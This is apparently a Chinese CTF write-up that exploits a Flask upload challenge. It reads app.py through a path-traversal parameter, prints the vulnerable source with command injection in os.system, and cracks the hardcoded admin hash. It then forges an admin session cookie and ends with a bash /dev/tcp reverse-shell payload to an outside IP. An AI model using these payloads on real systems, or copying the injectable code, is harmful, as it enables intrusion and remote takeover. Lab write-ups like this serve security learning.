image-20260510153351381

直接登录

image-20260510153518107

发现file_path传参

有文件读取漏洞

1
http://8.154.22.32:20089/upload?file_path=../app.py

image-20260510153632242

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session, get_flashed_messages
import socket
app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')



STYLE = """
<style>
body { background: #1a1a2e; color: #eee; font-family: system-ui; display: flex; justify-content: center; align-items: center; min-height: 100vh; margin: 0; }
.container { background: #16213e; padding: 40px; border-radius: 12px; width: 360px; }
h2 { text-align: center; color: #0ea5e9; margin-bottom: 24px; }
.alert { padding: 10px; border-radius: 6px; margin-bottom: 16px; text-align: center; font-size: 14px; }
.alert-error { background: rgba(239,68,68,0.2); color: #fca5a5; }
.alert-warn { background: rgba(234,179,8,0.2); color: #fde047; }
.alert-success { background: rgba(34,197,94,0.2); color: #86efac; }
input { width: 100%; padding: 12px; margin: 8px 0; border: 1px solid #334; background: #0f172a; color: #fff; border-radius: 6px; box-sizing: border-box; }
button { width: 100%; padding: 12px; background: #0ea5e9; color: #fff; border: none; border-radius: 6px; cursor: pointer; margin-top: 12px; }
button:hover { background: #0284c7; }
.upload-zone { border: 2px dashed #334; padding: 24px; text-align: center; border-radius: 8px; cursor: pointer; margin-bottom: 16px; color: #94a3b8; }
.upload-zone:hover { border-color: #0ea5e9; }
input[type="file"] { display: none; }
.file-name { font-size: 12px; color: #64748b; text-align: center; margin-bottom: 12px; }
</style>
"""

@app.route('/')
def index():
if session.get('username'):
return redirect(url_for('upload'))
return redirect(url_for('login'))

@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username == 'admin':
if hashlib.sha256(password.encode()).hexdigest() == '4303b04d1fa1a690f2d1db1ca2c7808cae3b8f1c1835894f35743f2805af8fe3':
session['username'] = username
return redirect(url_for('upload'))
flash('Auth failed')
else:
session['username'] = username
return redirect(url_for('upload'))


error_msg = get_flashed_messages()
error_html = f'<div class="alert alert-error">{error_msg[0]}</div>' if error_msg else ''

return f'''
<!DOCTYPE html><html><head><title>Login</title>{STYLE}</head><body>
<div class="container">
<h2>Login</h2>
{error_html}
<form method="post">
<input type="text" name="username" placeholder="Username" required autofocus>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">登录</button>
</form>
</div>
</body></html>
'''

@app.route('/logout')
def logout():
session.pop('username', None)
return redirect(url_for('login'))

@app.route('/upload', methods=['POST', 'GET'])
def upload():
if not session.get('username'):
return redirect(url_for('login'))

if request.method == 'POST':
f = request.files['file']
fname = str(uuid.uuid4()) + '_' + f.filename
f.save('./uploads/' + fname)
return redirect(f'/upload?file_path={fname}')

fp = request.args.get('file_path')
if not fp:
return f'''
<!DOCTYPE html><html><head><title>Upload</title>{STYLE}</head><body>
<div class="container">
<h2>File Upload</h2>
<form method="post" enctype="multipart/form-data">
<div class="upload-zone" id="dropZone">
<div style="font-size: 30px; margin-bottom: 10px;">+</div>
Click
</div>
<input type="file" name="file" id="fileInput" required>
<div class="file-name" id="fileName"></div>
<button type="submit">Upload File</button>
</form>
<a href="/logout" style="display:block;text-align:center;margin-top:12px;color:#94a3b8;">退出登录</a>
</div>
<script>
document.getElementById('dropZone').onclick = () => document.getElementById('fileInput').click();
document.getElementById('fileInput').onchange = function() &#123;&#123;
document.getElementById('fileName').innerText = this.files[0].name;
}};
</script>
</body></html>
'''

target = './uploads/' + fp
if session.get('username') != 'admin':
try:
with open(target, 'rb') as f:
b64_data = base64.b64encode(f.read()).decode()
return f'''
<!DOCTYPE html><html><head><title> </title>{STYLE}</head><body>
<div class="container" style="max-width: 800px;">
<h2> </h2>
<div class="preview-box">
<img src="data:image/png;base64,{b64_data}" />
</div>
</div>
</body></html>
'''
except:
return f'''
<!DOCTYPE html><html><head><title>Error</title>{STYLE}</head><body>
<div class="container">
<div class="alert alert-error">文件不存在</div>
</div>
</body></html>
'''
else:
os.system(f'base64 {target} > /tmp/{target}.b64')
return f'''
<!DOCTYPE html><html><head><title>Success</title>{STYLE}</head><body>
<div class="container">
<div class="alert alert-success">文件上传成功</div>
</div>
</body></html>
'''

if __name__ == '__main__':
socket.getfqdn = lambda name='': 'localhost'
app.run(host='0.0.0.0', port=80)

admin密码硬编码用hashcat解吗

1
4303b04d1fa1a690f2d1db1ca2c7808cae3b8f1c1835894f35743f2805af8fe3:usccsu

target直接被拼接了,后面放system执行可以rce

1
target = './uploads/' + fp

但是session中的username要等于admin, flask-session-cookie-manager-master生成一下,替换session

1
eyJ1c2VybmFtZSI6ImFkbWluIn0.af_5bA.WUv9hLNVAGtxWSklXe1e0Yje_fY

反弹shell,要url编码

1
/upload?file_path=a;bash -c 'bash -i >& /dev/tcp/101.37.210.236/2333 0>&1';

image-20260510162141568